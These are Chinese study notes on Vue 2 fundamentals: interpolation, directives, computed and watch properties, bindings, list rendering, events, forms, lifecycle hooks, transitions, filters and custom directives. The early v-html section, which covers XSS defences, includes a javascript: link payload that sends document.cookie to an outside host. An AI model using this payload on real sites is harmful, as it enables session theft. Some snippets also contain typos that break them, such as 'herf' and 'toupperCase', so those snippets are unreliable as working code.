4.1 Vue基础
1、模版语法
-
插值
-
a.文本{{}}
-
b.纯HTML
-
v-html,防止XSS,csrf
- 前端过滤
- 后台转义
- 给cookie加上属性http
<a href=javascript:location.herf='http://www.baidu.com?cookie='+document.cookie>click<a/> 删除& nbsp; 和 cookie前面的空格
-
-
表达式
-
-
指令:式带有v-前缀的特殊属性
v-bind
v-if
v-show
v-on:click
v-for
-
缩写
- v-bind:src => :src
- v-on:click => @click
**牛刀小试 **
获取当前输入框的内容,并且可以删除指定的内容
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<script src="./lib/vue.js"></script>
</head>
<body>
<div id="box">
<!--双向数据绑定-->
<input type="text" v-model="mytext"/>
<button @click="handleAdd">add</button>
<ul>
<li v-for="(data,index) in datalist">
{{ data }}{{index}}--<button @click="handleDelcick(index)">del</button>
</li>
</ul>
</div>
<script>
var vm = new Vue({
el:"#box",
data:{
datalist:[],
mytext:"我是初始值"
},
methods:{
handleAdd(){
console.log(this.mytext);
this.datalist.push(this.mytext)
},
handleDelcick(index){
console.log("del",index)
this.datalist.splice(index,1);
},
},
})
</script>
</body>
</html>
点击变色
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<!-- <script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.10/vue.js"></script> -->
<script src="../js/vue.js"></script>
<!--
模版页面: Html+js
js以什么形式存在?
指令:vue自定义标签属性(以v-开头),属性值是一个js的表达式
插值:双打括号,显示数据 {{msg}}
数据绑定(单向)
单向的 数据流向: data ===> template页面
双向数据绑定
数据流向:data <==> template页面
-->
<div id="test">
<input type="text" v-model="msg">
<p>hello {{ msg }}</p>
</div>
<p>{{msg}}</p> <!--不能显示 AAA 只会显示 {{msg}} -->
<script>
new Vue({ //配置对象,属性名是一些特定的名称 每个属性就是一个选项
el:"#test", // 选择器字符串 ==> 用于指定模版的根元素
data: { // 包含一些数据属性的对象 ==> 为模版提供数据
msg: 'AAA',
}
})
</script>
</body>
</html>
2、class与style
- 绑定HTML Class
- 对象语法
- 数组语法
- 绑定内联式样式
- 对象语法
- 数组语法
- 需要将font-size => fontSize
3、条件渲染
- v-if
1、第一个Vue程序
步骤
-
导入开发版本的Vue.js
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Vue基础</title> </head> <body> <div id="app"> {{ message }} </div> <!-- 开发环境版本,包含了有帮助的命令行警告 --> <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script> </body> </html>
-
创建Vue实例对象,设置el属性和data属性
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Vue基础</title> </head> <body> <div id="app"> {{ message }} </div> <!-- 开发环境版本,包含了有帮助的命令行警告 --> <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script> <script> var app = new Vue({ el:"#app", data:{ message: "你好" } }) </script> </body> </html>
-
使用简洁的模版语法吧数据渲染到页面上
2、el:挂载点
Vue实例的作用范围是什么?
Vue会管理el选项命中的元素及其内部的后代元素
是否可以使用其他的选择器?
可以使用其他的选择器,但是建议使用ID选择器
<body>
<!--外部的元素是没用的,例如紧邻下面的这个message,在页面就不会渲染-->
{{ message }}
<div id="app" class="app"> #此处的class选择器也可以在页面渲染出来
<!--内部的元素是用的,例如紧邻下面的这个message,在页面会渲染出来-->
{{ message }}
<span> {{ message }}</span>
</div>
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
<script>
var app = new Vue({
// el:"#app", 此处是id选择器,建议在实际使用中使用id选择器
el:".app", 此处是class选择器
el:"div", 标签选择器
data:{
message:"程序员"
}
})
</script>
</body>
是否可以设置其他的Dom元素呢?
可以使用其他的双标签,不能使用HTML和body
3、data数据对象
- Vue中用到的数据定义在data中
- data中可以写复杂类型的数据
- 渲染复杂类型数据时,遵循js的语法即可
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>dta:数据对象</title>
</head>
<body>
<div id="app" class="app">
{{ message }}
<h2> {{ school.name }} {{ school.mobile }}</h2>
<ul>
<li>{{ campus[0] }}</li>
<li>{{ campus[1] }}</li>
<li>{{ campus[2] }}</li>
</ul>
</div>
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
<script>
var app = new Vue({
el:"#app",
data:{
message:"程序员",
school:{
name:"小贾程序员",
mobile:"400-010-022"
},
campus:["北京","上海","郑州"]
}
})
</script>
</body>
</html>
4.2 模版语法
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.10/vue.js"></script>
<div id="app">
<h2>1.双大括号表达式 插值</h2>
<p>---{{msg}}---</p>
<p>---{{msg.toUpperCase()}}---</p>
<h2>2. 指令1:强制数据绑定</h2>
<a href="url">去看看</a><br>
<a v-bind:href="url">去看看</a><br>
<a :href="url">去看看</a>
<h2>3. 指令2:绑定事件监听</h2>
<button v-on:click="test">test1</button><br>
<button @click="test">test1</button>
<!--监视,监听:回调函数-->
</div>
<script>
new Vue({
el: "#app",
data:{
msg: 'I will back',
url:"http://wwfchina.org",
},
methods: {
test(event){
alert(event.target.innerText)
}
},
});
/*
1、表达式不是一个完整的结构,需要与其他的结构配置才能正常存在,而语句是可以独立存在的
2、表达式返回一个数据结构,语句不会返回一个结果(是去做一件特定的工作)
*/
/*
function fn() {} //函数是语句
var fn = function (){} //函数是表达式,函数表达式的名字一般不显示出来
*/
</script>
</body>
</html>
4.3 计算属性和监视
- 1.计算属性
- 在computed属性对象中定义计算属性的方法
- 在页面中使用{{方法名}}来显示计算的结果
什么时候执行?
1、初始显示、执行一次
2、依赖数据发生变化
- 2.监视属性:
- 通过vm对象的$watch()或watch配置来监视指定的属性
- 当属性变化时,回调函数自动调用,在函数内部进行计算
- 3.计算属性高级
- 通过getter/setter实现对属性数据的显示和监视
- 计算属性存在缓存,多次读取只执行一次getter计算
-
1、vue控制的所有回调的this都是vm/组件对象
-
2、vue给vm定义了一些与data中的属性 对应的属性
同名
- getter方法:当通过vm.xxx读取属性值是,读取data对象中同名属性的值
- setter方法:当通过vm.xxx = value指定新的值时,值就保存data中对应的属性上
- 数据代理:vm._data.xxx ===> vm.xxx 通过vm代理对vm内部的data对象的属性的操作(读,写)
-
3、什么时候用计算属性?
如果要显示的数据可以根据现有的属性计算产生
关于回调函数的3个问题
1、什么时候执行?
2、用来做什么的?
3、this是谁?
前介
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<div>
姓:<input type="text" placeholder="First Name"><br>
名:<input type="text" placeholder="Last Name"><br>
姓名1(单向):<input type="text" placeholder="Full Name1"><br>
姓名2(单向):<input type="text" placeholder="Full Name2"><br>
姓名3(双向):<input type="text" placeholder="Full Name3"><br>
</div>
<script>
/*
Object.defineProperty() 方法会直接在一个对象上定义一个新属性,或者修改一个对象的现有属性,并返回此对象。
get() {return value} //getter 属性的get方法
set(value) {} //setter 属性的set方法
*/
const p = {
firstName: 'A',
lastName: 'B',
}
/*
需求:给P添加一个新的属性:fullName= firstName + '-' + lastName
如果修改了firstName/lastName,fullName自动改变为对应的值
如果修改了fullName, firstName和lastName也自动改变为对应的值
*/
Object.defineProperty(p, 'fullName',{//配置对象 ==> 属性描述符
/*
当读取属性值时候自动回调
将函数的返回值作为属性值,
this是属性所在的对象
*/
get(){
console.log('get()', this)
return this.firstName + '-' + this.lastName
},
/*
当修改了属性值时候自动回调
用来监视属性值的变化,
this是属性所在的对象
*/
set(value){ //value是 fullName最新的值
console.log('set()', value)
// 更新firstName/lastName
const names = value.split('-')
this.firstName = names[0]
this.lastName = names[1]
},
})
console.log(p.fullName) // A-B
p.firstName = 'C'
p.lastName = 'D'
console.log(p.fullName) // C-D
p.fullName ='E-F' //导致对应的set调用
console.log(p.lastName, p.firstName)
/*
关于回调函数的3个问题
1、什么时候执行?
2、用来做什么的?
3、this是谁?
*/
</script>
</body>
</html>
Vue computed 属性
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>vue computed属性</title>
</head>
<body>
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
<script type="text/javascript"></script>
<!--
1.计算属性
在computed属性对象中定义计算属性的方法
在页面中使用{{方法名}}来显示计算的结果
2.监视属性:
通过vm对象的$watch()或watch配置来监视指定的属性
当属性变化时,回调函数自动调用,在函数内部进行计算
3.计算属性高级
通过getter/setter实现对属性数据的显示和监视
计算属性存在缓存,多次读取只执行一次getter计算
-->
<div id="demo">
姓:<input type="text" placeholder="First Name" v-model="firstName"><br>
名:<input type="text" placeholder="Last Name" v-model="lastName"><br>
姓名1(单向):<input type="text" placeholder="Full Name1" v-model="fullName1"><br>
姓名2(单向):<input type="text" placeholder="Full Name2"><br>
姓名3(双向):<input type="text" placeholder="Full Name3" v-model="fullName3"><br>
</div>
<script>
new Vue({
el: '#demo',
data: {
firstName: 'A',
lastName: 'B',
// fullName1: 'A-B',
},
//计算属性
computed: {
/*
什么时候执行?
1、初始显示、执行一次
2、依赖数据发生变化
*/
fullName1 () { //getter方法
console.log('fullName()', this)
return this.firstName + '-' + this.lastName
},
fullName3:{
get () {
console.log('fullName3 get()')
return this.firstName + '-' + this.lastName
},
//当给fullName3指定新的值时自动调用
set (value) {
console.log('fullName3() set()', value)
// 更新 firstName/lastName
const names = value.split('-')
this.firstName = names[0]
this.lastName = names[1]
}
}
},
})
/*
1、vue控制的所有回调的this都是vm/组件对象
2、vue给vm定义了一些与data中的属性 对应的属性
同名
getter方法:当通过vm.xxx读取属性值是,读取data对象中同名属性的值
setter方法:当通过vm.xxx = value指定新的值时,值就保存data中对应的属性上
数据代理:vm._data.xxx ===> vm.xxx 通过vm代理对vm内部的data对象的属性的操作(读,写)
3、什么时候用计算属性?
如果要显示的数据可以根据现有的属性计算产生
*/
</script>
</body>
</html>
Vue watch 属性
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>vue computed属性</title>
</head>
<body>
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
<script type="text/javascript"></script>
<!--
1.计算属性
在computed属性对象中定义计算属性的方法
在页面中使用{{方法名}}来显示计算的结果
2.监视属性:
通过vm对象的$watch()或watch配置来监视指定的属性
当属性变化时,回调函数自动调用,在函数内部进行计算
3.计算属性高级
通过getter/setter实现对属性数据的显示和监视
计算属性存在缓存,多次读取只执行一次getter计算
-->
<div id="demo">
姓:<input type="text" placeholder="First Name" v-model="firstName"><br>
名:<input type="text" placeholder="Last Name" v-model="lastName"><br>
姓名1(单向):<input type="text" placeholder="Full Name1" v-model="fullName1"><br>
姓名2(单向):<input type="text" placeholder="Full Name2" v-model="fullName2"><br>
姓名3(双向):<input type="text" placeholder="Full Name3" v-model="fullName3"><br>
</div>
<script>
//全局配置
Vue.config.productionTip = false
const vm = new Vue({
el: '#demo',
data: {
firstName: 'A',
lastName: 'B',
fullName2: 'A-B',
},
//计算属性
computed: {
/*
什么时候执行?
1、初始显示、执行一次
2、依赖数据发生变化
*/
fullName1 () { //getter方法
console.log('fullName()', this)
return this.firstName + '-' + this.lastName
},
fullName3:{
get () { //监视的依赖数据
console.log('fullName3 get()')
return this.firstName + '-' + this.lastName
},
//当给fullName3指定新的值时自动调用
set (value) { //监视当前数据
console.log('fullName3() set()', value)
// 更新 firstName/lastName
const names = value.split('-')
this.firstName = names[0]
this.lastName = names[1]
}
}
},
//
watch :{
//当fastName的值发生改变时调用
firstName (value){
console.log('watch firstName()', value)
// 更新fullName2
this.fullName2 = value + '-' + this.lastName
},
}
})
//监视lastName
vm.$watch('lastName', function(value) {
console.log('watch lastName()', value)
// 更新fullName2
this.fullName2 = this.firstName + '-' + value
})
/*
1、vue控制的所有回调的this都是vm/组件对象
2、vue给vm定义了一些与data中的属性 对应的属性
同名
getter方法:当通过vm.xxx读取属性值是,读取data对象中同名属性的值
setter方法:当通过vm.xxx = value指定新的值时,值就保存data中对应的属性上
数据代理:vm._data.xxx ===> vm.xxx 通过vm代理对vm内部的data对象的属性的操作(读,写)
3、什么时候用计算属性?
如果要显示的数据可以根据现有的属性计算产生
*/
</script>
</body>
</html>
4.4 class 与style绑定
1、理解
在应用界面中,某个(些)元素的样式是变化的
class/style绑定就是专门用来实现动态样式效果的技术
2、class绑定:
:class='xxx'
xxx是字符串
xxx是对象
xxx是数组
3、style绑定
:style="{color: activeColor, fontSize: fontSize + 'px'}"
其中activeColor/fontSize是data属性
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
.classA {
color: red;
}
.classB {
background: blue;
}
.classC {
font-size: 20px;
}
</style>
</head>
<body>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.10/vue.js"></script>
<div id='demo'>
<h2>1. class绑定: :class='xxx'</h2>
<p class="classC":class="myClass">字符串</p> <!--求交集-->
<!--
类名不确定
-->
<p :class="{classA: hasA, classB: hasB}">对象</p>
<!--
什么时候用对象形式?
类名确定,但不确定有没有
-->
<p :class="['classA','classB']">数组</p>
<h2>2. style绑定</h2>
<p :style="{color: activeColor, fontSize: fontSize}">xxxx</p>
<button @click="update">更新</button>
</div>
<script>
new Vue ({
el: "#demo",
data: {
myClass: 'classA',
hasA: false,
hasB: true,
activeColor: 'red',
fontSize: '20px',
},
methods: {
update (){
this.myClass = 'classB';
this.hasA = !this.hasA
this.hasB = !this.hasB
this.activeColor = "#aaaaaa"
this.fontSize = "40px"
}
},
})
</script>
</body>
</html>
4.5 条件渲染
条件渲染指令
v-if
v-else
v-show
比较v-if与v-show
如果需要频繁切换 v-show较好
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.10/vue.js"></script>
<!--模版中读取数据找的都是vm-->
<div id="demo">
<p v-if="ok">表白成功</p>
<p v-else="true">表白失败</p>
<p v-show="ok">求婚成功</p>
<p v-show="!ok">求婚失败</p>
<button @click="ok = !ok">切换</button>
</div>
<script>
new Vue({
el: '#demo',
data () {
return {
ok: true
}
}
})
</script>
</body>
</html>
4.6 列表渲染
vue在内部如何监视数据的变化?
- 1、对象中的属性数据 (响应式属性:当修改属性值时,内部就会自动更新对应的界面)
- 给属性添加setter方法
- 2、数组中的元素数据
- 重写数组一系列 更新数组元素的方法
- 调用原生数组对应的方法,对数组元素进行处理
- 更新界面
- 重写数组一系列 更新数组元素的方法
前介
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.10/vue.js"></script>
<!--
1、列表显示
数组: v-for / index
对象: v-for / key
2、列表的跟新显示
删除item
替换item
-->
<div id='demo'>
<h2>测试:v-for 遍历数组</h2>
<ul>
<li v-for="(p, index) in persons" :key="p.id">
{{p.id}}---{{p.name}}---{{p.age}}
--<button @click="deleteP(index)">删除</button>
--<button @click="updateP(index, {id:Date.now(), name:'Cat', age: 17})">更新</button>
</li>
</ul>
<h2>测试:v-for 遍历对象</h2>
</div>
<script>
new Vue({
el: '#demo',
data: {
persons: [
{id: 1, name: 'Tom',age:12},
{id: 3, name: 'Jack',age:14},
{id: 5, name: 'BOb',age:17},
{id: 7, name: 'Mack',age:22},
{id: 9, name: 'Haha',age:25},
]
},
methods: {
deleteP(index){
this.persons.splice(index, 1) //splice 不是原生数组的方法,而是value重新定义的方法
},
updateP(index, newP) {
this.persons.splice(index, 1, newP)
// this.persons[index] = newP //数据变了,界面不自动改变 ==> 数据绑定失效了
// this.persons[index].id = newP.id
// this.persons[index].name = newP.name
// this.persons[index].age = newP.age
// this.persons = []
}
},
})
</script>
</body>
</html>
示例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.10/vue.js"></script>
<!--
1、列表显示
数组: v-for / index
对象: v-for / key
2、列表的跟新显示
删除item
替换item
-->
<div id='demo'>
<input type="text" v-model="searchName">
<ul>
<li v-for="(p, index) in filterPersons" :key="p.id">
{{p.id}}---{{p.name}}---{{p.age}}
</li>
</ul>
<button @click="sortType=2">按年龄升序</button>
<button @click="sortType=3">按年龄降序</button>
<button @click="sortType=1">原本顺序</button>
</div>
<script>
new Vue({
el: '#demo',
data() {
return {
searchName: '',
sortType: 1, //1:不排序 2:升序 3:降序
persons: [
{id: 1, name: 'Tom',age:15},
{id: 3, name: 'Jack',age:12},
{id: 5, name: 'BOb',age:14},
{id: 7, name: 'Mack',age:13},
{id: 9, name: 'Haha',age:16},
]
}
},
computed: {
/*过滤后的新数组*/
filterPersons() {
//1、取出依赖数据
const {searchName,persons, sortType} = this
//2、计算产生一个新数据
//数组过滤
const arr = persons.filter((p, index) => p.name.indexOf(searchName)!==-1 )
// 有可能要排序(升/降)
if (sortType!==1) {
arr.sort((p1,p2) => { //如果返回值大于0,将p2放在左边
if(sortType===3){ //降序
return p2.age - p1.age
} else { //升序
return p1.age - p2.age
}
})
}
//3、返回新数据
return arr
}
},
})
</script>
</body>
</html>
4.7 事件处理
事件处理的2个操作
- 阻止事件的默认行为
- 停止事件冒泡
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.10/vue.js"></script>
<div id="example">
<h2>1. 绑定监听</h2>
<button @click="test1">test111</button>
<button @click="test2('atguigu')">test222</button>
<button @click="test3('atguigu22', $event)">test333</button>
<h2>2. 事件修饰符</h2>
<a href="http://wwf.org" @click.prevent="test4">世界</a>
<div style="200px;height:200px;background:red;" @click="test5">
<div style="100px;height:100px;background:blue;" @click.stop="test6"></div>
</div>
<button @click.once="test7">test7</button>
<h2>3. 按键修饰符</h2>
<input type="text" v-model="msg" @keyup.13="test8">
<input type="text" v-model="msg" @keyup.enter="test9">
</div>
<script>
new Vue ({
el:"#example",
data: {
msg: ''
},
methods: {
test1 (event) {
alert(event.target.innerHTML)
},
test2(name){
alert(name)
},
test3(name, event){
alert(name + '---' + event.target.innerHTML)
},
// 阻止事件的默认行为
test4 (event){
// event.preventDefault();
alert('点击了链接')
},
// 停止事件冒泡
test5 (event){
alert('out')
},
test6 (event){
alert('inner')
},
test7 (){
alert('once')
},
test8 (event){
// if (event.keyCode===13) {
alert(this.msg)
// }
},
test9 () {
alert(this.msg)
}
},
})
</script>
</body>
</html>
4.8 表单输入绑定
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.10/vue.js"></script>
<div id="demo">
<form action="/xxx">
<span>用户名:</span>
<input type="text" v-model="user.username"><br>
<span>密码:</span>
<input type="password" v-model="user.pwd"><br>
<span>性别:</span>
<input type="radio" id="female" v-model="user.sex" value="female">
<label for="female">女</label>
<input type="radio" id="male" v-model="user.sex" value="male">
<label for="male">男</label><br>
<span>爱好:</span>
<input type="checkbox" id="basket" v-model="user.likes" value="basket">
<label for="basket">篮球</label>
<input type="checkbox" id="foot" v-model="user.likes" value="foot">
<label for="foot">足球</label>
<input type="checkbox" id="pingpang" v-model="user.likes" value="pingpang">
<label for="pingpang">乒乓球</label><br>
<span>城市:</span>
<select v-model="cityId">
<option value="">未选择</option>
<option v-for="city in allCitys" :key="city.id" :value="city.id">{{city.name}}</option>
</select><br>
<span>介绍:</span>
<textarea rows="10" v-model="user.info"></textarea><br><br>
<input type="submit" value="注册" @click.prevent="register">
</form>
</div>
<script>
new Vue ({
el: '#demo',
data() {
return {
user: {
username: '',
pwd: '',
sex: 'male', //male:男 female:女
likes:['foot'], //改变初始值为foot在页面显示
},
allCitys: [
{id: 1, name: "BJ"},
{id: 2, name: "SH"},
{id: 3, name: "SZ"},
],
cityId: 3,
info: '',
}
},
methods: {
register(){
const user = {
}
alert('提交了注册的ajax请求' + JSON.stringify(this.user))
}
},
})
</script>
</body>
</html>
4.9 Vue实例_生命周期
1、vue对象的生命周期
1) 初始化显示
- beforeCreate() 不能取data中的数据,this取不到
- created() this可以取到
- beforeMount() 不能通过ref读取页面
- mounted() 页面已经显示了
2) 更新数据
- beforeUpdate() 读到的是老的界面
- updated() 读到的是新的界面
3) 销毁vue实例: vm.$destory()
- beforeDestory()
- destoryed()
2、常用的生命周期方法
- mounted(): 发送ajax请求,启动定时器等异步任务
- beforeDestory(): 做收尾工作,如:清除定时器
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.10/vue.js"></script>
<div>
<button @click="destroyVM">destroy vue</button>
<p v-show="isShow">xxxxx</p>
<p ref="content">content</p>
</div>
<script>
new Vue ({
data: {
isShow: true
},
beforeCreate() { //不能通过vm读取data中的数据
console.log('beforeCreate()')
},
created() { // 可以通过vm读取data中的数据
console.log('created()')
},
beforeMount() { //不能通过ref读取页面标签对象
console.log('beforeMount()', this.$refs.content)
},
// 初始第一次显示/渲染页面
/*
界面初始显示之后,立即回调
一般在此执行异步操作:发ajax请求/启动定时器/订阅消息/绑定自定义事件监听
*/
mounted() { //可以通过ref读取页面标签对象
console.log('mounted()')
//保存数据
this.intervalId = setInterval(function () {
console.log('-------------')
this.isShow = !this.isShow
}.bind(this), 1000)
/*
1.返回一个新函数
2.新函数内部会调用原函数(通过call调用)
3.在调用时指定原函数执行的this为bind()的第一个参数的值
*/
},
beforeUpdate(){ // 看到的界面是老的界面
console.log('beforeUpdate')
},
// 更新界面
updated(){ // 看到的界面是新的界面
console.log('updated()')
},
destroyed(){
console.log('destroyed')
},
/*
在VM死亡之前调用
在此做一些收尾的工作
*/
beforeDestroy() {
console.log('beforeDestroy()')
clearInterval(this.intervalId)
},
destroyed(){
console.log('destroyed')
},
methods: {
destroyVM () {
this.$destroy()
}
},
}).$mount('div')
</script>
</body>
</html>
4.10 过渡&动画
1. vue动画的理解
- 操作css的trasition或animation
- vue会给目标元素添加/移除特定的class
2. 基本过渡动画的编码
- 在目标元素外包裹
- 定义class样式
- 指定过渡样式: trasition
- 指定隐藏时的样式: opacity/其他
3. 过渡的类名
- xxx-enter-active: 指定显示的trasition
- xxx-leave-active: 指定隐藏的trasition
- xxx-enter: 指定隐藏时的样式
transiton 过渡
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
/* 指定显示/隐藏的过渡样式*/
.fade-enter-active, .fade-leave-active {
transition: opacity .5s;
}
/* 指定隐藏时的样式 */
.fade-enter, .fade-leave-to /* .fade-leave-active below version 2.1.8 */ {
opacity: 0;
}
/* 指定显示的过渡样式*/
.move-enter-active{
transition: all 1s;
}
/* 指定隐藏时的过渡样式 */
.move-leave-active{
transition: all 3s;
}
/* 指定隐藏时的样式 */
.move-enter, .move-leave-to {
opacity: 0;
transform: translateX(20px);
}
</style>
</head>
<body>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.10/vue.js"></script>
<div id="demo">
<button v-on:click="show = !show">
Toggle
</button>
<transition name="fade">
<p v-if="show">hello</p>
</transition>
</div>
<div id="demo2">
<button v-on:click="show = !show">
Toggle
</button>
<transition name="move">
<p v-if="show">hello</p>
</transition>
</div>
<script>
new Vue({
el: '#demo',
data: {
show: true
}
})
new Vue({
el: '#demo2',
data: {
show: true
}
})
</script>
</body>
</html>
animations 动画
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
/* 显示动画*/
.bounce-enter-active {
animation: bounce-in .5s;
}
/* 隐藏动画*/
.bounce-leave-active {
animation: bounce-in .5s reverse; /*reverse反转*/
}
@keyframes bounce-in {
0% {
transform: scale(0);
}
50% {
transform: scale(1.5);
}
100% {
transform: scale(1);
}
}
</style>
</head>
<body>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.10/vue.js"></script>
<div id="example-2">
<button @click="show = !show">Toggle show</button><br>
<transition name="bounce">
<p v-if="show" style="background: red; display: inline-block;">娃哈哈娃哈哈娃哈哈娃哈哈娃哈哈娃哈哈娃哈哈娃哈哈娃哈哈娃哈哈</p>
</transition>
</div>
<script>
new Vue({
el: '#example-2',
data: {
show: true
}
})
</script>
</body>
</html>
4.11 过滤器
1.理解过滤器
功能: 对要显示的数据进行特定格式化后再显示
注意: 并没有改变原本的数据,只是产生新的对应的数据
2. 编码
-
定义过滤器
Vue.filter(filterName, function(value[,arg1,arg2,arg3,...]){ return newValue })
-
使用过滤器
<div>{{myData | filterName}}</div> <div>{{myData | filterName(arg)}}</div>
3. 示例代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<!--
需求:对当前时间进行指定的格式显示
-->
<body>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.10/vue.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/moment.js/2.24.0/moment.js"></script>
<div id="test">
<h2>显示格式化的日期时间</h2>
<p>开始时间{{startTime}}</p>
<p>开始时间(完整): {{startTime | dateFormat}}</p>
<p>开始时间(年月日): {{startTime | dateFormat('YYYY-MM-DD')}}</p>
<p>开始时间(时分秒): {{startTime | dateFormat('HH:mm:ss')}}</p>
</div>
<script>
//自定义一个过滤器
Vue.filter('dateFormat', function (value, formatStr='YYYY-MM-DD HH:mm:ss'){ //value就是需要处理的数据
//day-js | moment | date-fns
// return moment(value).format(formatStr || 'YYYY-MM-DD HH:mm:ss');
return moment(value).format(formatStr);
})
new Vue ({
el:'#test',
data() {
return {
startTime: Date.now() - 100000
}
}
})
</script>
</body>
</html>
4.11 Vue指令
0、自定义指令
1、注册全局指令
Vue.directive('my-directive', function(el, binding){
//el:指令属性所在的标签元素
el.innerHTML = binding.value.toupperCase()
})
2、注册局部指令
directives: {
'my-directive' : {
bind (el, binding) {
el.innerHTML = binding.value.toupperCase()
}
}
}
3、使用指令
v-my-directive='xxx'
4、代码示例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.10/vue.js"></script>
<!--
需求: 自定义2个指令
1. 功能类型于v-text,但转换为全大写 upper-text
1. 功能类型于v-text,但转换为全小写 lower-text
-->
<div id="test">
<p v-upper-text="msg"></p>
<p v-lower-text="msg"></p>
</div>
<script>
//注册全局指令 upper-text
/*
el:指令属性所在的标签元素
binding: 包含指令相关数据的对象
*/
Vue.directive('upper-text', function(el, binding){
//el:指令属性所在的标签元素
el.innerHTML = binding.value.toUpperCase()
})
new Vue ({
el:"#test",
data: {
msg: 'CBA I Love'
},
//注册局部指令: 只对当前vm管理的模版有效
directives: {
'lower-text' (el, binding) {
el.textContent = binding.value.toLowerCase()
}
}
})
</script>
</body>
</html>
1、内容绑定,事件绑定
-
v-text: 设置标签的文本值(textContent),更新元素的 textContent
-
v-text 会覆盖元素中原本的内容,但是插值表达式
只会替换自己的这个占位符,不会把整个元素的内容清空
-
默认 v-text 是没有闪烁问题的
-
-
v-html:设置标签的innerHTML,内容中有html结构会被解析为标签,更新元素的 innerHTML
-
v-text:指令无论内容是什么,只会解析为文本
<div v-text="msg2"></div> <div v-html="msg2"></div> <script> var vm = new Vue({ el:'#app', data:{ msg : '123', msg2: '<h1>哈哈,我是一个大大的h1</h1>' } }) </script>
-
v-on:为元素绑定事件监听,可以简写为@,绑定的方法定义在,methods属性中,方法的内部通过this关键字可以访问定义在data中数据
----核心示例代码---- <body> <div id="app"> <input type="button" value="按钮" v-on:click="show"> </div> </body> <script> var vm = new Vue({ el:"#app", //挂载点 data:{ //数据对象 }, methods:{ //这个methods属性中定义了当前Vue实例所有可用的方法 show:function(){ alert('hello') } } )} </script>
2、显示切换,属性绑定
-
v-show:根据表达值的真假切换元素的显示状态,原理是修改元素的display,实现显示隐藏 通过控制display样式来控制显示/隐藏
指令后面的内容,最终都会解析为布尔值,值为true元素显示,值为false元素隐藏,数据该变之后,对应元素的显示状态会同步更新。
-
v-if :根据表达式的真假切换元素的显示状态,本质是通过操纵dom元素来切换显示状态,如果表达式的值为true,元素存在于dom树中,当前标签才会输出到页面,如果为false,从dom树中移除,频繁的切换v-show,反之使用v-if,前者的切换消耗小
-
